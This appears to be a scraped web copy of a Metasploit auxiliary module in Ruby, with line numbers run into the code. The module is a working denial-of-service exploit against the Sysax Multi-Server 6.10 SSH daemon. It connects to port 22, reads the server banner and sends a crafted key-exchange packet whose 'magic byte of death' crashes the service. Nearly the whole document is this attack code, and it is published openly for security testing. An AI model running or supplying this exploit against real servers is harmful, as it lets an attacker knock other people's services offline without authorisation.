Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/windows/ssh/sysax_sshd_kexchange.rb
Views: 11789
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Dos89def initialize(info = {})10super(update_info(info,11'Name' => 'Sysax Multi-Server 6.10 SSHD Key Exchange Denial of Service',12'Description' => %q{13This module sends a specially-crafted SSH Key Exchange causing the service to14crash.15},16'Author' => 'Matt "hostess" Andreko <mandreko[at]accuvant.com>',17'License' => MSF_LICENSE,18'References' =>19[20[ 'OSVDB', '92081'],21[ 'URL', 'https://www.mattandreko.com/2013/04/sysax-multi-server-610-ssh-dos.html']22],23'DisclosureDate' => '2013-03-17'))2425register_options(26[27Opt::RPORT(22),28OptString.new('CLIENTVERSION', [ true, 'The SSH client version to report.', 'Debian-5ubuntu1'])29])3031end3233def get_packet3435delimiter = "\x00"*336packet = [0x00, 0x00, 0x03, 0x14, 0x08, 0x14, 0xff, 0x9f,370xde, 0x5d, 0x5f, 0xb3, 0x07, 0x8f, 0x49, 0xa7,380x79, 0x6a, 0x03, 0x3d, 0xaf, 0x55, 0x00, 0x00,390x00, 0x7e].pack("C*")40packet << Rex::Text.rand_text_alphanumeric(126)41packet << delimiter42packet << Rex::Text.rand_text_alphanumeric(16)43packet << delimiter44packet << Rex::Text.rand_text_alphanumeric(158)45packet << delimiter46packet << Rex::Text.rand_text_alphanumeric(158)47packet << delimiter48packet << Rex::Text.rand_text_alphanumeric(106)49packet << delimiter50packet << Rex::Text.rand_text_alphanumeric(106)51packet << delimiter52packet << "\x28" # Magic byte of death - seems to work with just about53# anything except \x1a, the value it's supposed to be54packet << Rex::Text.rand_text_alphanumeric(26)55packet << delimiter56packet << Rex::Text.rand_text_alphanumeric(27)57packet << delimiter*758end5960def run6162connect6364banner = sock.get_once || ''65print_status("Banner: #{banner.strip}")66sock.put("SSH-2.0-OpenSSH_5.1p1 " + datastore['CLIENTVERSION'] + "\r\n" + get_packet())6768# Sometimes the socket closes faster than it can read, sometimes it doesn't, so catch the error just in case.69begin70sock.get_once71rescue Errno::ECONNRESET72end7374disconnect75end76end777879